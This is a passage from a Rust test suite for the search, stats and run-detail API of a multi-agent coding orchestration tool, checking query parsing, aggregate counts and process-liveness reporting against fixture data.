11102 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11103 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11104 }
11105
11106 #[tokio::test]
11107 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11108 let f = Fixture::start().await;
11109 let queue = f.queue();
11110 let mut t = Task::new(
11111 "short title".to_owned(),
11112 "line one\nthe hidden Armadillo detail".to_owned(),
11113 PathBuf::from("/repo/magi"),
11114 Source::Agent {
11115 run: "r1".to_owned(),
11116 node: "chat".to_owned(),
11117 },
11118 );
11119 t.last_error = Some("disk full on /tmp".to_owned());
11120 queue.put(&mut t).expect("file the task");
11121
11122 for (q, want) in [
11123 ("armadillo", 1),
11124 ("disk%20FULL", 1),
11125 ("chat", 1),
11126 ("queued", 1),
11127 ("short%20nothing", 0),
11128 ] {
11129 let v = f
11130 .get(&format!("/api/search?scope=tasks&q={q}"))
11131 .await
11132 .json();
11133 assert_eq!(v["total"], want, "{q}: {v}");
11134 }
11135 for bad in [
11136 "/api/search?scope=tasks&q=",
11137 "/api/search?scope=tasks&q=%20",
11138 "/api/search?scope=chats&q=",
11139 "/api/search?scope=chats&q=%20",
11140 "/api/search?scope=nope&q=a",
11141 "/api/search?q=a",
11142 ] {
11143 assert_eq!(f.get(bad).await.status, 400, "{bad}");
11144 }
11145 }
11146
11147 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11149 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11150 .expect("seat value");
11151 let turns: Vec<serde_json::Value> = turns
11152 .iter()
11153 .map(|(who, body)| {
11154 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11155 })
11156 .collect();
11157 let doc = serde_json::json!({
11158 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11159 "status": status, "turns": turns,
11160 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11161 "seat": seat,
11162 });
11163 let dir = f.home.path().join("talks");
11164 std::fs::create_dir_all(&dir).expect("talks dir");
11165 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11166 }
11167
11168 #[tokio::test]
11169 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11170 let f = Fixture::start().await;
11171 write_talk(
11172 &f,
11173 "20260901-000001-aaaa",
11174 "open",
11175 &[
11176 (
11177 "operator",
11178 "\n Why does the Pangolin cache expire?\nsecond line",
11179 ),
11180 ("agent", "Because the TTL is thirty seconds."),
11181 ],
11182 );
11183 write_talk(
11184 &f,
11185 "20260901-000002-bbbb",
11186 "closed",
11187 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11188 );
11189 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11190
11191 let search = |q: &'static str| {
11192 let f = &f;
11193 async move {
11194 f.get(&format!("/api/search?scope=chats&q={q}"))
11195 .await
11196 .json()
11197 }
11198 };
11199
11200 let v = search("PANGOLIN").await;
11201 assert_eq!(v["scope"], "chats");
11202 assert_eq!(v["total"], 1, "{v}");
11203 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11204 assert_eq!(v["hits"][0]["field"], "title");
11205 assert_eq!(v["unreadable"], 1, "{v}");
11206 let marked: Vec<&str> = v["hits"][0]["snippet"]
11207 .as_array()
11208 .unwrap()
11209 .iter()
11210 .filter(|p| p["hit"] == true)
11211 .map(|p| p["text"].as_str().unwrap())
11212 .collect();
11213 assert_eq!(marked, ["Pangolin"]);
11214
11215 let v = search("zebra").await;
11217 assert_eq!(v["total"], 1, "{v}");
11218 assert_eq!(v["hits"][0]["field"], "agent");
11219 assert_eq!(search("pangolin%20thirty").await["total"], 1);
11221 assert_eq!(search("pangolin%20zebra").await["total"], 0);
11222 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
11224 assert_eq!(search(q).await["total"], 0, "{q}");
11225 }
11226 assert_eq!(search("second").await["hits"][0]["field"], "operator");
11228 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
11230
11231 let v = f.get("/api/search?scope=nope&q=a").await;
11232 assert_eq!(v.status, 400);
11233 assert!(
11234 v.body.contains("scope must be runs, tasks or chats"),
11235 "{}",
11236 v.body
11237 );
11238 }
11239
11240 #[test]
11241 fn a_question_card_links_a_task_id_to_the_task_page() {
11242 let start = APP_JS
11243 .find("function updateAskCard(")
11244 .expect("updateAskCard exists");
11245 let body = &APP_JS[start..];
11246 let body = &body[..body.find("\n}\n").expect("function end")];
11247 assert!(body.contains("question.run_is_task"));
11248 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
11249 assert!(body.contains("`#/runs/${question.run}`"));
11250 assert!(body.contains("\"task\" : \"run\""));
11251 }
11252
11253 #[test]
11254 fn stats_bars_share_one_id_keyed_plan() {
11255 let start = APP_JS
11256 .find("function statsBarRows(")
11257 .expect("statsBarRows exists");
11258 let body = &APP_JS[start..];
11259 let body = &body[..body.find("\n}\n").expect("function end")];
11260 assert!(body.contains("statsBarPlan(rows)"));
11261 assert!(body.contains("statsAgentTone(row.agent)"));
11262 assert!(!body.contains("candTone(i)"));
11263 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
11264 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
11265 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
11266 }
11267 }
11268
11269 #[test]
11270 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
11271 let start = APP_JS
11272 .find("function renderStatsReviewerScatter(")
11273 .expect("renderStatsReviewerScatter exists");
11274 let body = &APP_JS[start..];
11275 let body = &body[..body.find("\n}\n").expect("function end")];
11276 assert!(body.contains("statsScatterPlan(reviewers)"));
11277 assert!(body.contains("statsAgentTone(d.agent)"));
11278 assert!(APP_JS.contains("function statsScatterPlan("));
11279 assert!(
11280 APP_JS.contains("d.submitted < STATS_LOW_N")
11281 || APP_JS.contains("r.submitted < STATS_LOW_N")
11282 );
11283 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
11284 assert!(APP_CSS.contains(".precision-scatter"));
11285 }
11286
11287 #[test]
11288 fn advisor_reflection_is_drawn_as_stacked_segments() {
11289 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
11290 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
11291 let html = include_str!("../assets/ui/index.html");
11292 assert!(html.contains("Approximate"));
11293 for label in ["reflected strongly", "faint", "no proposal"] {
11294 assert!(html.contains(label));
11295 }
11296 let css = include_str!("../assets/ui/app.css");
11297 for c in ["refl-strong", "refl-faint", "refl-absent"] {
11298 assert!(css.contains(&format!(".{c} {{")));
11299 }
11300 }
11301
11302 #[test]
11303 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
11304 assert!(APP_JS.contains("function statsDailyPlan("));
11305 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
11306 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
11307 }
11308
11309 #[test]
11310 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
11311 let start = APP_JS
11312 .find("function scheduleSearch(")
11313 .expect("scheduleSearch exists");
11314 let body = &APP_JS[start..];
11315 let body = &body[..body.find("\n}\n").expect("function end")];
11316 assert!(body.contains("s.seq += 1"));
11317 }
11318
11319 #[tokio::test]
11324 async fn stats_runs_unreadable_matches_health() {
11325 let f = Fixture::start().await;
11326 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11327 let broken = f.runs().join("20260902-140502-bad");
11328 std::fs::create_dir_all(&broken).expect("run dir");
11329 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11330
11331 let stats = f.get("/api/stats").await;
11332 let health = f.get("/api/health").await;
11333
11334 assert_eq!(stats.status, 200);
11335 assert_eq!(stats.json()["totals"]["runs"], 1);
11336 assert_eq!(stats.json()["runs_unreadable"], 1);
11337 assert_eq!(
11338 stats.json()["runs_unreadable"],
11339 health.json()["runs_unreadable"],
11340 "the dashboard and /api/health must never disagree about how many \
11341 runs could not be read"
11342 );
11343 }
11344
11345 #[tokio::test]
11346 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11347 let f = Fixture::start().await;
11348 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11349 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11350 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11351
11352 let totals = &f.get("/api/stats").await.json()["totals"];
11353 assert_eq!(totals["runs"], 3);
11354 assert_eq!(totals["merged"], 1);
11355 assert_eq!(totals["stalled"], 1);
11356 assert_eq!(totals["in_progress"], 1);
11357 assert_eq!(totals["blocked"], 0);
11360 assert_eq!(totals["ready"], 0);
11361 }
11362
11363 #[tokio::test]
11364 async fn stats_advisors_report_proposals_and_reflection() {
11365 use crate::advise::{Advice, AdvisorRecord, Reflection};
11366 use crate::verdict::Proposal;
11367
11368 let f = Fixture::start().await;
11369 let mut state = RunState::new(
11370 PathBuf::from("/repo/magi"),
11371 "main".to_owned(),
11372 "0123456789abcdef".to_owned(),
11373 "task".to_owned(),
11374 Config::default(),
11375 );
11376 state.id = "20260902-140501-a".to_owned();
11377 state.status = RunStatus::Merged;
11378 state.advice = Some(Advice {
11379 records: vec![
11380 AdvisorRecord {
11381 seat: "advisor-1".to_owned(),
11382 agent: "alpha".to_owned(),
11383 proposal: Some(Proposal {
11384 approach: "do it".to_owned(),
11385 key_tradeoff: "speed over memory".to_owned(),
11386 risks: Vec::new(),
11387 touches: Vec::new(),
11388 why_not_naive: "breaks under load".to_owned(),
11389 }),
11390 error: None,
11391 duration_ms: 0,
11392 reflection: Reflection::Strong,
11393 },
11394 AdvisorRecord {
11395 seat: "advisor-2".to_owned(),
11396 agent: "alpha".to_owned(),
11397 proposal: None,
11398 error: Some("timed out".to_owned()),
11399 duration_ms: 0,
11400 reflection: Reflection::Absent,
11401 },
11402 ],
11403 synthesis: Some("blended brief".to_owned()),
11404 });
11405 let dir = f.runs().join(&state.id);
11406 std::fs::create_dir_all(&dir).expect("run dir");
11407 std::fs::write(
11408 dir.join("run.json"),
11409 serde_json::to_string_pretty(&state).expect("serialize run"),
11410 )
11411 .expect("write run.json");
11412
11413 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
11414 let alpha = advisors
11415 .as_array()
11416 .expect("an array")
11417 .iter()
11418 .find(|a| a["agent"] == "alpha")
11419 .expect("alpha row");
11420 assert_eq!(alpha["seated"], 2);
11421 assert_eq!(alpha["proposed"], 1);
11422 assert_eq!(alpha["absent"], 1);
11423 assert_eq!(alpha["strong"], 1);
11424 assert_eq!(alpha["faint"], 0);
11425 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11426 }
11427
11428 #[tokio::test]
11429 async fn stats_release_bumps_split_clean_from_attention() {
11430 use crate::run::ReleaseBump;
11431
11432 let f = Fixture::start().await;
11433
11434 let mut clean = RunState::new(
11435 PathBuf::from("/repo/magi"),
11436 "main".to_owned(),
11437 "0123456789abcdef".to_owned(),
11438 "task".to_owned(),
11439 Config::default(),
11440 );
11441 clean.id = "20260902-140501-a".to_owned();
11442 clean.status = RunStatus::Merged;
11443 clean.release_bump = Some(ReleaseBump {
11444 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11445 version: Some("1.0.0".to_owned()),
11446 automerge_enabled: true,
11447 merged_directly: false,
11448 local: false,
11449 release: None,
11450 problem: None,
11451 action_required: None,
11452 });
11453
11454 let mut blocked = RunState::new(
11455 PathBuf::from("/repo/magi"),
11456 "main".to_owned(),
11457 "0123456789abcdef".to_owned(),
11458 "task".to_owned(),
11459 Config::default(),
11460 );
11461 blocked.id = "20260902-140502-b".to_owned();
11462 blocked.status = RunStatus::Merged;
11463 blocked.release_bump = Some(ReleaseBump {
11464 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11465 version: Some("1.0.1".to_owned()),
11466 automerge_enabled: false,
11467 merged_directly: false,
11468 local: false,
11469 release: None,
11470 problem: Some("checks red".to_owned()),
11471 action_required: Some("look at the PR".to_owned()),
11472 });
11473
11474 for state in [&clean, &blocked] {
11475 let dir = f.runs().join(&state.id);
11476 std::fs::create_dir_all(&dir).expect("run dir");
11477 std::fs::write(
11478 dir.join("run.json"),
11479 serde_json::to_string_pretty(state).expect("serialize run"),
11480 )
11481 .expect("write run.json");
11482 }
11483
11484 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11485 assert_eq!(bumps["merged"], 2);
11486 assert_eq!(bumps["recorded"], 2);
11487 assert_eq!(bumps["pr_opened"], 2);
11488 assert_eq!(bumps["automerge_enabled"], 1);
11489 assert_eq!(bumps["needs_attention"], 1);
11490 assert_eq!(bumps["clean"], 1);
11491 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11492 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11493 }
11494
11495 #[tokio::test]
11496 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11497 let f = Fixture::start().await;
11498 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11499
11500 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11501 assert_eq!(bumps["merged"], 1);
11502 assert_eq!(bumps["recorded"], 0);
11503 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11506 assert_eq!(bumps["automerge_rate"], Value::Null);
11509 assert_eq!(bumps["attention_rate"], Value::Null);
11510 }
11511
11512 #[tokio::test]
11513 async fn stats_queue_counts_come_from_the_live_queue() {
11514 let f = Fixture::start().await;
11515 let q = f.queue();
11516 let mut queued = Task::new(
11517 "queued task".to_owned(),
11518 "do it".to_owned(),
11519 PathBuf::from("/repo"),
11520 Source::Human,
11521 );
11522 q.put(&mut queued).expect("put queued");
11523 let mut held = Task::new(
11524 "held task".to_owned(),
11525 "do it later".to_owned(),
11526 PathBuf::from("/repo"),
11527 Source::Human,
11528 );
11529 held.hold_machine(Some("out of attempts".to_owned()));
11530 q.put(&mut held).expect("put held");
11531
11532 let queue = f.get("/api/stats").await.json()["queue"].clone();
11533 assert_eq!(queue["queued"], 1);
11534 assert_eq!(queue["held"], 1);
11535 assert_eq!(queue["running"], 0);
11536 assert_eq!(queue["done"], 0);
11537 assert_eq!(queue["failed"], 0);
11538 assert_eq!(queue["blocked"], 0);
11539 }
11540
11541 #[tokio::test]
11542 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11543 let f = Fixture::start().await;
11544 let stats = f.get("/api/stats").await;
11545 assert_eq!(stats.status, 200);
11546 assert_eq!(stats.json()["totals"]["runs"], 0);
11547 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11548 assert_eq!(stats.json()["runs_unreadable"], 0);
11549 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11550 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11551 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11552 assert_eq!(stats.json()["repo"], Value::Null);
11553 }
11554
11555 #[tokio::test]
11556 async fn stats_lists_every_repository_with_runs_recorded() {
11557 let f = Fixture::start().await;
11558 write_run_repo(
11559 &f.runs(),
11560 "20260902-140501-a",
11561 RunStatus::Merged,
11562 "/repos/a",
11563 );
11564 write_run_repo(
11565 &f.runs(),
11566 "20260902-140502-b",
11567 RunStatus::Merged,
11568 "/repos/a",
11569 );
11570 write_run_repo(
11571 &f.runs(),
11572 "20260902-140503-c",
11573 RunStatus::Blocked,
11574 "/repos/b",
11575 );
11576
11577 let stats = f.get("/api/stats").await;
11578 assert_eq!(stats.status, 200);
11579 assert_eq!(stats.json()["totals"]["runs"], 3);
11581 assert_eq!(stats.json()["repo"], Value::Null);
11582
11583 let repos = stats.json()["repos"].clone();
11584 let repos = repos.as_array().unwrap();
11585 assert_eq!(repos.len(), 2);
11586 assert_eq!(repos[0]["repo"], "/repos/a");
11588 assert_eq!(repos[0]["name"], "a");
11589 assert_eq!(repos[0]["runs"], 2);
11590 assert_eq!(repos[1]["repo"], "/repos/b");
11591 assert_eq!(repos[1]["runs"], 1);
11592 }
11593
11594 #[tokio::test]
11595 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
11596 let f = Fixture::start().await;
11597 write_run_repo(
11598 &f.runs(),
11599 "20260902-140501-a",
11600 RunStatus::Merged,
11601 "/repos/a",
11602 );
11603 write_run_repo(
11604 &f.runs(),
11605 "20260902-140502-b",
11606 RunStatus::Blocked,
11607 "/repos/b",
11608 );
11609
11610 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
11611 assert_eq!(stats.status, 200);
11612 assert_eq!(stats.json()["totals"]["runs"], 1);
11613 assert_eq!(stats.json()["totals"]["merged"], 1);
11614 assert_eq!(stats.json()["repo"], "/repos/a");
11615 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
11618 assert_eq!(stats.json()["runs_unreadable"], 0);
11621 }
11622
11623 #[tokio::test]
11624 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
11625 let f = Fixture::start().await;
11626 write_run_repo(
11627 &f.runs(),
11628 "20260902-140501-a",
11629 RunStatus::Merged,
11630 "/repos/a",
11631 );
11632 write_run_repo(
11633 &f.runs(),
11634 "20260902-140502-b",
11635 RunStatus::Merged,
11636 "/repos/b",
11637 );
11638
11639 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
11640 let json = f.get(uri).await.json();
11641 let daily = json["daily"].as_array().expect("daily is an array");
11642 assert_eq!(daily.len(), 30);
11643 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
11644 let mut sorted = dates.clone();
11645 sorted.sort();
11646 assert_eq!(dates, sorted);
11647 for d in daily {
11648 assert_eq!(
11649 d["merged"].as_u64().unwrap()
11650 + d["ready"].as_u64().unwrap()
11651 + d["other"].as_u64().unwrap(),
11652 d["runs"].as_u64().unwrap()
11653 );
11654 }
11655 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
11656 }
11657 }
11658
11659 #[tokio::test]
11660 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
11661 let f = Fixture::start().await;
11662 write_run_repo(
11663 &f.runs(),
11664 "20260902-140501-a",
11665 RunStatus::Merged,
11666 "/repos/a",
11667 );
11668
11669 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
11670 assert_eq!(stats.status, 404);
11671 }
11672
11673 #[tokio::test]
11674 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
11675 let f = Fixture::start().await;
11676 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
11677
11678 let summary = f.get("/api/runs").await.json();
11679 let row = &summary[0];
11680 assert_eq!(row["short"], "a1b2");
11681 assert_eq!(row["status"], "ready");
11682 assert_eq!(row["done"], true);
11683 assert_eq!(row["title"], "Add a web UI");
11684 assert_eq!(row["repo_name"], "magi");
11685 assert_eq!(row["judges"], 3);
11686 assert_eq!(row["winner"], Value::Null);
11687 assert_eq!(row["reviews"], 0);
11688
11689 let detail = f.get("/api/runs/a1b2").await;
11692 assert_eq!(detail.status, 200);
11693 assert_eq!(detail.json()["base_branch"], "main");
11694 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
11695 }
11696
11697 #[tokio::test]
11705 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
11706 let f = Fixture::start().await;
11707
11708 let mut none_run = RunState::new(
11709 PathBuf::from("/repo/magi"),
11710 "main".to_owned(),
11711 "0123456789abcdef".to_owned(),
11712 "Add a web UI".to_owned(),
11713 Config::default(),
11714 );
11715 none_run.id = "20260902-140503-none".to_owned();
11716 none_run.status = RunStatus::Ready;
11717 none_run.merge = Some(crate::run::MergeOutcome {
11718 mode: crate::config::MergeMode::None,
11719 ok: true,
11720 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11721 empty: false,
11722 });
11723 write_state(&f.runs(), &none_run);
11724
11725 let mut pr_run = RunState::new(
11726 PathBuf::from("/repo/magi"),
11727 "main".to_owned(),
11728 "0123456789abcdef".to_owned(),
11729 "Add a web UI".to_owned(),
11730 Config::default(),
11731 );
11732 pr_run.id = "20260902-140504-prcl".to_owned();
11733 pr_run.status = RunStatus::Ready;
11734 pr_run.merge = Some(crate::run::MergeOutcome {
11735 mode: crate::config::MergeMode::Pr,
11736 ok: false,
11737 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11738 empty: false,
11739 });
11740 write_state(&f.runs(), &pr_run);
11741
11742 let summary = f.get("/api/runs").await.json();
11743 let rows: std::collections::HashMap<&str, &Value> = summary
11744 .as_array()
11745 .expect("an array")
11746 .iter()
11747 .map(|r| (r["id"].as_str().expect("an id"), r))
11748 .collect();
11749 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11750 assert_eq!(
11751 rows[none_run.id.as_str()]["unmerged_by_design"],
11752 true,
11753 "a mode-none Ready must be flagged in the list"
11754 );
11755 assert_eq!(
11756 rows[pr_run.id.as_str()]["unmerged_by_design"],
11757 false,
11758 "a Ready reached by a closed pull request is a different case"
11759 );
11760
11761 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11762 assert_eq!(none_detail["status"], "ready");
11763 assert_eq!(none_detail["unmerged_by_design"], true);
11764
11765 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11766 assert_eq!(pr_detail["unmerged_by_design"], false);
11767 }
11768
11769 #[tokio::test]
11774 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11775 let f = Fixture::start().await;
11776 let id = "20260902-140502-bbbb";
11780 let mut state = RunState::new(
11781 PathBuf::from("/repo/magi"),
11782 "main".to_owned(),
11783 "0123456789abcdef".to_owned(),
11784 "Add a web UI".to_owned(),
11785 Config::default(),
11786 );
11787 state.id = id.to_owned();
11788 state.status = RunStatus::Judging;
11789 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11790 let dir = f.runs().join(id);
11791 std::fs::create_dir_all(&dir).expect("run dir");
11792 std::fs::write(
11793 dir.join("run.json"),
11794 serde_json::to_string_pretty(&state).expect("serialize run"),
11795 )
11796 .expect("write run.json");
11797
11798 let cold = f.get(&format!("/api/runs/{id}")).await.json();
11804 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11805 assert_eq!(cold["live"], "unknown", "{cold}");
11806
11807 write_daemon(f.home.path(), Timestamp::now());
11810 let warm = f.get(&format!("/api/runs/{id}")).await.json();
11811 assert_eq!(warm["live"], "live", "{warm}");
11812 }
11813
11814 #[tokio::test]
11817 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11818 let f = Fixture::start().await;
11819 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11820 let mut state = RunState::new(
11821 PathBuf::from("/repo/magi"),
11822 "main".to_owned(),
11823 "0123456789abcdef".to_owned(),
11824 "Add a web UI".to_owned(),
11825 Config::default(),
11826 );
11827 state.id = id.to_owned();
11828 state.origin = origin;
11829 let mut value = serde_json::to_value(&state).expect("serialize run");
11830 if let Some(schema) = schema {
11831 value["schema"] = serde_json::json!(schema);
11832 value.as_object_mut().unwrap().remove("origin");
11833 }
11834 let dir = f.runs().join(id);
11835 std::fs::create_dir_all(&dir).expect("run dir");
11836 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11837 };
11838 write(
11839 "20260930-092817-ec34",
11840 Some(crate::run::Origin::from_agent_env(
11841 Some(("4a7b".to_owned(), "chat".to_owned())),
11842 None,
11843 )),
11844 None,
11845 );
11846 write("20260930-092817-0ld1", None, Some(12));
11847
11848 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11849 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11850 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11851
11852 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11853 assert_eq!(
11854 old["origin_label"], "origin unknown (started before origins were recorded)",
11855 "{old}"
11856 );
11857 assert!(old["origin"].is_null(), "{old}");
11858
11859 let list = f.get("/api/runs").await.json();
11860 let labels: Vec<_> = list
11861 .as_array()
11862 .unwrap()
11863 .iter()
11864 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
11865 .collect();
11866 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
11867 }
11868
11869 #[tokio::test]
11876 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
11877 let f = Fixture::start().await;
11878 let id = "20260922-090000-cccc";
11879 let mut state = RunState::new(
11880 PathBuf::from("/repo/magi"),
11881 "main".to_owned(),
11882 "0123456789abcdef".to_owned(),
11883 "Review only".to_owned(),
11884 Config::default(),
11885 );
11886 state.id = id.to_owned();
11887 state.status = RunStatus::Reviewing;
11888 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11889 state.driver_pid = Some(std::process::id());
11895 state.driver_started_at = Some(
11896 crate::proc::process_started_at(std::process::id())
11897 .expect("this test process's own start time must be queryable"),
11898 );
11899 let dir = f.runs().join(id);
11900 std::fs::create_dir_all(&dir).expect("run dir");
11901 std::fs::write(
11902 dir.join("run.json"),
11903 serde_json::to_string_pretty(&state).expect("serialize run"),
11904 )
11905 .expect("write run.json");
11906
11907 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11908 assert_eq!(detail["live"], "live", "{detail}");
11909 }
11910
11911 #[tokio::test]
11917 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
11918 let f = Fixture::start().await;
11919 let id = "20260922-090100-dddd";
11920 let mut state = RunState::new(
11921 PathBuf::from("/repo/magi"),
11922 "main".to_owned(),
11923 "0123456789abcdef".to_owned(),
11924 "Review only".to_owned(),
11925 Config::default(),
11926 );
11927 state.id = id.to_owned();
11928 state.status = RunStatus::Reviewing;
11929 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11930 state.driver_pid = Some(std::process::id());
11935 state.driver_started_at = Some("1".to_owned());
11936 let dir = f.runs().join(id);
11937 std::fs::create_dir_all(&dir).expect("run dir");
11938 std::fs::write(
11939 dir.join("run.json"),
11940 serde_json::to_string_pretty(&state).expect("serialize run"),
11941 )
11942 .expect("write run.json");
11943
11944 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11945 assert_eq!(detail["live"], "dead", "{detail}");
11946 }
11947
11948 #[test]
11952 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
11953 let mk = |id: &str, pid: Option<u32>| {
11954 let mut s = RunState::new(
11955 PathBuf::from("/repo/magi"),
11956 "main".to_owned(),
11957 "0123456789abcdef".to_owned(),
11958 "Add a web UI".to_owned(),
11959 Config::default(),
11960 );
11961 s.id = id.to_owned();
11962 s.driver_pid = pid;
11963 s.driver_started_at = Some("1790000000".to_owned());
11964 s
11965 };
11966 let states = vec![
11967 mk("20260902-140502-aaaa", Some(77)),
11968 mk("20260902-140502-bbbb", Some(77)),
11969 mk("20260902-140502-cccc", Some(77)),
11970 mk("20260902-140502-dddd", None),
11971 ];
11972 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
11973 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
11974 let sup: HashMap<String, String> = [(
11975 "20260902-140502-aaaa".to_owned(),
11976 "20260902-140502-cccc".to_owned(),
11977 )]
11978 .into();
11979
11980 let status_calls = std::cell::Cell::new(0);
11981 let identity_calls = std::cell::Cell::new(0);
11982 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
11983 |_| {
11984 status_calls.set(status_calls.get() + 1);
11985 Some(true)
11986 },
11987 |_| {
11988 identity_calls.set(identity_calls.get() + 1);
11989 Some("1790000000".to_owned())
11990 },
11991 ));
11992 let rows = summarize(
11993 states,
11994 &open,
11995 &claimed,
11996 &sup,
11997 |p| probe.borrow_mut().status(p),
11998 |p| probe.borrow_mut().started_at(p),
11999 );
12000
12001 assert_eq!(status_calls.get(), 1, "one pid, one status query");
12002 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12003 assert_eq!(rows.len(), 4);
12004 assert!(!rows[0].waiting && rows[1].waiting);
12005 assert_eq!(rows[0].live, crate::run::Liveness::Live);
12006 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12007 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12008 assert_eq!(rows[1].superseded_by, None);
12009 }
12010
12011 #[test]
12012 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12013 let mut state = RunState::new(
12014 PathBuf::from("/repo/magi"),
12015 "main".to_owned(),
12016 "0123456789abcdef".to_owned(),
12017 "Review only".to_owned(),
12018 Config::default(),
12019 );
12020 state.id = "20260922-090200-dead".to_owned();
12021 state.status = RunStatus::Reviewing;
12022 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12023 .expect("serialize list row");
12024 assert_eq!(row["status"], "reviewing");
12025 assert_eq!(row["live"], "dead", "{row}");
12026 assert!(!row["done"].as_bool().unwrap());
12027 }
12028
12029 #[tokio::test]
12030 async fn the_run_list_is_newest_first_and_honours_a_limit() {
12031 let f = Fixture::start().await;
12032 for id in [
12033 "20260902-140501-aaaa",
12034 "20260902-140502-bbbb",
12035 "20260902-140503-cccc",
12036 ] {
12037 write_run(&f.runs(), id, RunStatus::Merged);
12038 }
12039
12040 let all = f.get("/api/runs").await.json();
12041 let capped = f.get("/api/runs?limit=2").await.json();
12042
12043 assert_eq!(all[0]["id"], "20260902-140503-cccc");
12044 assert_eq!(all.as_array().map(Vec::len), Some(3));
12045 assert_eq!(capped.as_array().map(Vec::len), Some(2));
